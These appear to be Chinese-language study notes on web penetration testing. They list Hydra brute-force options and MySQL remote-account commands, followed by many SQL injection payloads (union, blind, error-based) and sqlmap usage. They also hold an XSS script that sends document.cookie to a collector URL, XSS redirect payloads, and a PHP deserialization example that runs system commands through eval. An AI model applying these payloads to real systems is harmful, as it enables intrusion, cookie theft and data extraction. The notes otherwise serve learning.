-l login 小写，指定用户名进行破解
-L file 大写，指定用户的用户名字典
-p pass 小写，用于指定密码破解，很少使用，一般采用密码字典。
-P file 大写，用于指定密码字典。
-e ns 额外的选项，n：空密码试探，s：使用指定账户和密码试探
-M file 指定目标 ip 列表文件，批量破解。
-o file 指定结果输出文件
-f 找到第一对登录名或者密码的时候中止破解。
-t tasks 同时运行的线程数，默认是 16
-w time 设置最大超时时间，单位
-v / -V 显示详细过程
-R 恢复爆破（如果破解中断了，下次执行 hydra -R /path/to/hydra.restore 就可以继续任务。）破解 SSH 登录密码

# 开发中，root 用户默认限制了远程登录， 所以需要创建新的有远程登录的账号进行使用

# 1、创建账户
create user '用户名'@'%' identified by '密码';
# 举例：
create user 'liuxiao'@'%' identified by '123abc@';
#	create 创建
#	user 用户
#	identified by  设置密码为...
% --- 通配符 指 用户可以从任何地方进行登录

# 2、给权限：
grant all on *.* to '用户名'@'%';
# 举例：
grant all on *.* to 'liuxiao'@'%';
grant --- 授权
all --- 所有的增删改查
on  --- 在...上
*.* ---- 所有的库.所有的表
to --- 给

# 3、刷新：
flush privileges;

# 查看当前账号
select user();

# 删除用户
drop user '用户名'@'%';

# 查询所有用户
SELECT user FROM mysql.user;

mysql -h IP -u用户 -p密码
封锁后取消:
mysqladmin -u root -p flush-hosts

端口扫描：masscan  -p  端口  --range  目标主机IP

获取库名：
date=' union select database(),'','','

获取表名：
select * from information_schema.tables;

select group_concat(table_name) from information_schema.tables where table_schema = '库名';
获取字段名：
select * from 表名 where datestr=''union select(select group_concat(table_name) from information_schema.tables where table_schema = '库名'),'','','

select * from news where datestr=''union select(select * from information_schema.columns;

select group_concat(columns_name) from information_schema.columns where table_schema='库名' and table_name = '表名'),'','','
获取具体信息：
select 多个字段 from 表名 where '1'  加个条件where '1'永远成立

information_schema是一个包含了关于所有数据库的信息（比如表、列、数据类型等）的特殊数据库，而tables视图则包含了关于所有表格的信息
例用id=2 and (数据库语句)来包含

获取数据库：

substr(database(),1,1)  #获取当前数据库的第一个字符
select ascii(substr(database(),1,1));  #获取ascii值

爆破表名：
(select count(table_name) from information_schema.tables where table_schema='库名')<表的数量

查询数据库中的第m-1(从零开始)个表(或字段)的第n个字符信息
ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit m-1,1),n,1))<ascii码数值

爆破字段：
(select count(column_name) from information_schema.columns where table_schema='库名' and table_name='表名';)<字段数量

ascii(substr((select column_name from information_schema.columns where table_schema='数据库' and table_name='表名' limit m-1,1),n,1))

获取字段内的真实数据：
ascii(substr((select 字段名 from 表名 limit 0,1),1,1))

?id=2 and extractvalue(1, concat(0x5e, (select database()),0x5e))
extractvalue(1, concat(0x5c, (sql执行想要的语法),0x5c))

and updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1)
and updatexml(1,concat(0x5e,(注入SQL语句),0x5e),1)),0x5e),1)

打开sqlmap.py当前文件夹，打开cmd
python sqlmap.py -u "网站"
--dbs可获取所有数据库名
--current-db 获取当前数据库的名称
-D 数据库名 指定目标「数据库」，常配合其他参数使用
--tables 获取表
-T 表名 --columns 指定表查询
-C "字段名1,..." --dump 获取值，也就是表中的数据。

布尔型盲注（Boolean-based blind）
时间型盲注（Time-based blind）
报错型注入（Error-based）
联合查询注入（UNION query-based）
堆叠查询注入（Stacked queries）

cmd:
 Type: boolean-based blind   布尔类型
 Type: error-based         报错
 Type: time-based blind     时间
 Type: UNION query        联合
 web application technology: Apache 2.4.39, PHP 5.3.29  数据库版本

php支持协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'http://localhost:81/xss1/get_cookie.php?cookie=' + encodeURIComponent(document.cookie), true);
    xhr.send();
</script>

代码构造：
alert('你已被攻击！'); window.location.href = 'http://106.52.249.22:10001/vul/xss/xss_stored.php';
alert('你已被攻击！'); window.location.replace('https://www.baidu.com/');
两个恶意代码的区别，replace 方法会用新的页面替换当前页面的历史记录，用户无法通过浏览器的 “后退” 按钮回到原页面
setTimeout(代码, 5000)可以加时间5秒

php class中的定义
private（私有成员）
访问范围：仅能在当前类的内部访问，类的外部、子类（继承的类）都无法直接访问
protected（受保护成员）
访问范围：当前类内部 + 子类（继承的类）内部可以访问，但类的外部无法直接访问。

O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";}



O : 自定义对象 object
6 : 类名的长度
:3 : 3个成员属性
s:4 : 你的成员属性名 长度为4 ,并且是一个字符串  string
s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位
s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别.
i:20 : 20是age的属性值 , i是代表 integer类型

s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号

s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值

为什么是s:11和s:6：PHP在序列化含有private和protected权限的变量时，会在变量名前添加ASCII码为0的不可见字符，表现为`\0类名\0属性名`和`\0*\0属性名`。这些字符在显示和输出时可能不易察觉，\0是1字节

<?php
class one
{
    public $b="xxxxx";

    function action()
    {
        eval($this->b);//eval函数这边得作用是
        //eval函数将里边得字符串当作代码去执行
    }
}

<?php

class one
{
    public $b = "system('ipconfig');";
    //这边给system('ipconfig');指令加上引号  等同于把system('ipconfig');看作一个字符串
    //eval(system('ipconfig'));
    //这样的话 我们代码指令和电脑系统指令都可以去运行
}
$a = new one();   //这边去调用我们的one类  然后存在我们的变量a中
//再去进行反序列化
echo serialize($a);  //这样的话我们就能看见
echo urlencode(serialize($a));
eval(system('ipconfig'));
?>